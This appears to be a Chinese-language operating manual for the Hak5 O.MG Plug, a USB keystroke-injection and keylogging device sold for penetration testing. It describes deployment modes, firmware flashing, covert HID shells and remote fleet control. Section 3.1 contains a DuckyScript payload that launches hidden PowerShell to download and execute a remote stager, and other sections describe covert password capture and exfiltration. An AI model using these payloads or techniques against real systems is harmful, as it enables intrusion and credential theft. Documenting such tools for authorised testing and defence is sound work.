Hak5 O.MG Plug & Adapter 原廠技術說明書與全功能操作手冊
Hak5 出品的 O.MG Plug(以及 O.MG Adapter 轉接器)是 O.MG 滲透測試體系的模組化實體演進版本。將完整的 O.MG SoC 晶片組、802.11 Wi-Fi 無線電與 DuckyScript 攻擊引擎精準封裝於通用型 USB 轉接頭外殼中,支持串接任意周邊鍵盤與設備,或作為無人值守的獨立 USB 快速攻擊載具。
目錄
- 1. 產品概述與硬件架構
- 2. 硬件初始化、固件燒錄與网络連線
- 3. 载荷編寫、DuckyScript 語法與執行模式
- 4. HIDX StealthLink 隱蔽傳輸與艦隊管理
- 5. 安全防禦、自毀抹除與維護指南
1. 產品概述與硬件架構
本章節說明 O.MG Plug / Adapter 的模組化硬件架構、規格參數與部署形式。
1.1 模組化轉接頭設計理念
O.MG Cable 將攻擊晶片深嵌於一條專屬線纜中;而 O.MG Plug 則將這套先進的微型系統封裝成通用的轉接插頭(提供 USB Type-A 插頭與 USB Type-C 轉接器等多種形式)。
此設計具備極大優勢:
- 相容任意品牌線材:現場可隨意串接目標既有的專用傳輸線、條碼掃描器、鼠标或機械鍵盤。
- 隨機應變部署:既可安插在主機後方充當長期串接鍵盤嗅探器,亦可做為無人值守的一鍵注入 USB Key。
- 高耐用性外殼:金屬強化結構,經得起多次實體插拔。
1.2 技術規格與硬件校準基準表
| 硬件組件項目 | 原廠官方技術規格基準 |
|---|---|
| 設備架構 | 模組化串接式 USB 實體攻擊轉接頭 |
| 射頻無線電 | 整合式 802.11 b/g/n (2.4 GHz) Wi-Fi 無線電與微型天線 |
| 輸入工作電壓 | 5 V DC (+/- 0.5 V) 經由主機 USB 端口供電 |
| 功耗標準 | 待機:~75 mA;尖峰發射:~320 mA;建議供電:500 mA |
| 資料通訊透傳 | 完整 USB 2.0 (480 Mbps) 全速透傳通道 (攻擊閒置時完全透明) |
| 電力透傳規格 | 固定 5 V 導通;USB-PD 協商最高限制於 5 V |
| 物理規格外觀 | USB Type-A 轉接頭、USB Type-C 模組化插頭 |
| 儲存磁區規模 | 非揮發性 Flash 空間 (Basic:8 槽位;Plus/Elite:最高 200 槽位) |
| 嗅探容量規格 | Keylogger 版:內建約 650,000 次按鍵先進先出 (FIFO) 緩衝内存 |
| 硬件相容標準 | Full Speed 全速 USB 鍵盤 (相容 12 Mbps 標準 HID 規範) |
| 隱蔽通道技術 | HIDX StealthLink (利用底層 HID Reports 實現雙向 Shell) |
| 防護安全機制 | WPA2 加密、BSSID 地理圍欄防禦、微控制器緊急自毀功能 |
1.3 串接攔截與無人值守雙重部署模式
- 串接周邊攔截模式 (Inline Peripheral Interception Mode):
- 將 O.MG Plug 插入目標主機 USB 孔,再將目標實體鍵盤插入 O.MG Plug 的母座。
- 用户日常打字完全無感,但所有擊鍵均被即時記錄,且操作者可隨時透過無線射頻注入攻擊指令。
- 無人值守隨身注入模式 (Unattended Standalone Dongle Mode):
- 直接將 O.MG Plug 插入無人看管的目標服务器或資訊站(Kiosk)。
- 設備自動感知主機通電,數秒內依序派發提權、下載後門與資料導出指令碼。
2. 硬件初始化、固件燒錄與网络連線
本章節說明 O.MG Plug 的出廠激活、瀏覽器序列燒錄與連線流程。
2.1 使用 O.MG Programmer 進行初次激活
所有 O.MG Plug 設備均需使用 O.MG Programmer 激活無線發射功能:
- 將 O.MG Plug 公頭插入 O.MG Programmer 母座。
- 將 Programmer 連接至工作站電腦,確認供電指示燈恆亮。
2.2 Web Flasher 瀏覽器序列燒錄指引
- 使用 Chrome 或相容 WebSerial 之瀏覽器造訪:
https://o-mg.github.io/WebFlasher/ - 点击 Connect 並選取 CP2102 序列埠。
- 產品選單選取 O.MG Plug / Adapter,点击最新固件進行一鍵刷機。
2.3 建立 Wi-Fi 管理無線基地台
- 拔除 Programmer,將 O.MG Plug 插入一般 5 V USB 供電孔。
- 連線至默认基地台:
- SSID:
O.MG - 密碼:
12345678
- SSID:
- 瀏覽器開啟
http://192.168.4.1進入配置後台。
2.4 網頁控制台功能巡禮與參數調整
- Payloads 頁面:編寫、上傳與点击執行腳本。
- Keylogger 頁面:即時監看擊鍵日誌與文字搜尋。
- Settings 頁面:更改無線名稱、加入公司 Wi-Fi(Station 模式)或配置自毀條件。
3. 载荷編寫、DuckyScript 語法與執行模式
本章節說明 DuckyScript 指令撰寫與鍵盤攔截操作。
3.1 DuckyScript for O.MG Plug 核心指令
REM O.MG Plug Fast Execution Example
DELAY 2000
GUI r
DELAY 300
STRING powershell -w hidden -c“Invoke-RestMethod http://192.168.4.1/stager | iex”
ENTER
支持 DELAY 延遲、STRING 鍵入、USB_OVERCLOCK 傳輸加速與 WAIT_FOR_INPUT 操作員確認指令。
3.2 载荷槽位架構與遠端快速觸發
Plus 與 Elite 版本支持高達 200 個槽位,操作者可在手機 Web 接口建立自訂捷徑按鈕,於百公尺外隨點隨打。
3.3 串聯 USB 實體鍵盤嗅探機制 (Keylogger)
串接鍵盤時,O.MG Plug 的專用處理核心會並行解析 USB 数据包,並將密碼、指令與機密即時加密儲存於非揮發内存中,操作者可在網頁端即時觀看。
3.4 跨國鍵盤配置對應與轉譯
內建多語系映射核心,支持全球各大主要語系鍵盤,確保在非英文環境下輸入符號依然百分之百精準。
4. HIDX StealthLink 隱蔽傳輸與艦隊管理
4.1 HIDX 雙向通道原理說明
利用 USB HID 協定規範的 Feature Reports 通訊機制,不需要開啟任何网络端口、不安裝驅動,直接打通目標主機與 O.MG Plug 之間的雙向通道。
4.2 跨平台互動式終端管道
支持在 Windows(PowerShell)、Linux(Bash)與 macOS(Python)環境下反向引導出完全互動式的終端機控制台。
4.3 Hak5 Cloud C² 雲端集中艦隊納管
將各辦公室部署的 O.MG Plug 配置為 Station 模式連上網際网络,即可在 Hak5 Cloud C² 雲端後台集中調度與監管。
4.4 WebSocket API 自動化串接實例
開放標準 WebSocket 接口,方便网络安全工程師以 Python 撰寫自動化外掛,達成自動嗅探、敏感詞通知與主動回擊。
5. 安全防禦、自毀抹除與維護指南
本章節介紹自毀保護、地理圍欄與出廠重置。
5.1 地理圍欄環境限制配置
鎖定現場特定 Wi-Fi BSSID,一旦離開受測區域即自動切斷連線或進入深度休眠。
5.2 緊急硬件自毀標準程序
發動 Self-Destruct 指令後,微控制器會立即對晶片內部進行高壓隨機覆寫並自毀引導程式,使物理逆向工程徹底失效。
5.3 故障排查、晶片校準與出廠重置
若遇通訊異常,可將 O.MG Plug 插回 O.MG Programmer,利用 Web Flasher 進行“Erase Flash & Factory Reset”即可還原初始配置。